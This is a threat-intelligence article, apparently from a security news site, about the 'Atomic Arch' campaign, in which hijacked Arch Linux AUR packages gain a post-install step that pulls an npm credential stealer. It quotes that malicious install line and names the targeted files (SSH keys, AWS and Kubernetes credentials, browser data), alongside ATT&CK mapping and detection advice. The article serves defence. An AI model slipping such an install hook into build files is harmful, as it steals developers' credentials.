A new and insidious supply chain attack, named 'Atomic Arch,' has been identified targeting developers using the Arch Linux ecosystem. First reported around June 11, 2026, the campaign involves threat actors taking control of legitimate, trusted software packages in the Arch User Repository (AUR) that have been abandoned by their original maintainers. The attackers then modify the package's build instructions (PKGBUILD file) to add a malicious post-install script. This script covertly downloads and executes a malicious package from the public npm registry, which in turn deploys credential-stealing malware. The attack is dangerous because it abuses the inherent trust users have in established AUR packages. Security firm Sonatype has been tracking the campaign, which has already compromised dozens of packages and appears to be ongoing.
PKGBUILD file, adding a malicious post-install command.atomic-lockfile).This attack cleverly subverts the community-driven trust model of the AUR. Unlike typosquatting, where an attacker creates a new, similarly named package, this method inherits the reputation and userbase of a previously legitimate project.
The core of the attack lies in modifying the PKGBUILD file. A typical malicious addition might look like this in the post_install() function:
# Malicious command added by attacker
/usr/bin/npm install -g atomic-lockfile
When an unsuspecting user runs makepkg -si or uses an AUR helper to install/update the compromised package, this command is executed with their user privileges. The atomic-lockfile npm package, tracked by Sonatype as Sonatype-2026-003775, contains the final payload. Analysis shows it includes:
.ssh keys, .aws credentials, .kube configs, and browser data.The campaign has evolved, with a second wave on June 12 using the Bun runtime as an alternative to npm for installation, demonstrating the attacker's adaptability.
T1195.001 - Compromise Software Dependencies and Development Tools: This is the core technique, compromising a trusted software repository.T1059.004 - Unix Shell: The PKGBUILD file uses shell commands to execute the malicious installation.T1105 - Ingress Tool Transfer: The npm install command transfers the malicious payload from the npm registry to the victim's machine.T1552.004 - Private Keys: The infostealer payload is specifically designed to steal SSH and other private keys.T1014 - Rootkit: The use of an eBPF rootkit for stealth and persistence.The impact on developers is potentially devastating. The theft of SSH keys, API tokens, and other credentials can lead to:
PKGBUILD file for any suspicious commands. Look for unexpected network calls, curl | bash patterns, or installation of packages from other ecosystems like npm or pip. (D3-DA: Dynamic Analysis)install script should generally not be making arbitrary network connections.atomic-lockfile.npm list -g | grep atomic-lockfile
PKGBUILD (or Makefile, setup.py, etc.) before building and installing software from community sources. Treat AUR helpers with caution, as they can automate away this crucial review step.makepkg as a regular user.Scale of 'Atomic Arch' supply chain attack on Arch Linux AUR significantly increased, now impacting over 400 packages.
The 'Atomic Arch' supply chain attack targeting Arch Linux AUR packages has escalated significantly, with reports now indicating over 400 packages have been compromised. This is a substantial increase from the previously reported 20+ packages. The attack continues to leverage modified PKGBUILDs to deploy a Rust-based infostealer and an eBPF rootkit, aiming to steal developer credentials and maintain stealth. The expanded scope highlights the growing threat to the Arch Linux developer community.
Scope of 'Atomic Arch' attack dramatically increased, now compromising ~1,500 AUR packages. New details on credential theft and CVSS 8.7 score.
The 'Atomic Arch' supply chain attack has significantly expanded its reach, now affecting approximately 1,500 packages in the Arch User Repository (AUR), a substantial increase from the previously reported 'dozens'. The attack, assigned a CVSS score of 8.7, continues to target developers by abusing the AUR's package adoption feature to inject malicious code into PKGBUILD files. The payload is designed to steal sensitive developer credentials, including CI/CD service tokens and cloud API keys, highlighting a broader impact on development pipelines and infrastructure. New detection and mitigation strategies, such as CI/CD monitoring and credential hardening, have also been detailed.
The 'Atomic Arch' campaign is first discovered and reported by security researchers.
A second wave of the attack is observed, utilizing the Bun runtime as an alternative to npm.

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.
CyberNetSec.io uses automation to assist source monitoring, deduplication, observable extraction, and structured intelligence generation. Published analysis follows human-defined editorial standards and adds defensive context including MITRE ATT&CK, D3FEND, STIX, and Sigma where applicable. Read our editorial policy.
Help others stay informed about cybersecurity threats
Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.
Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.
Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.
Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.
Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.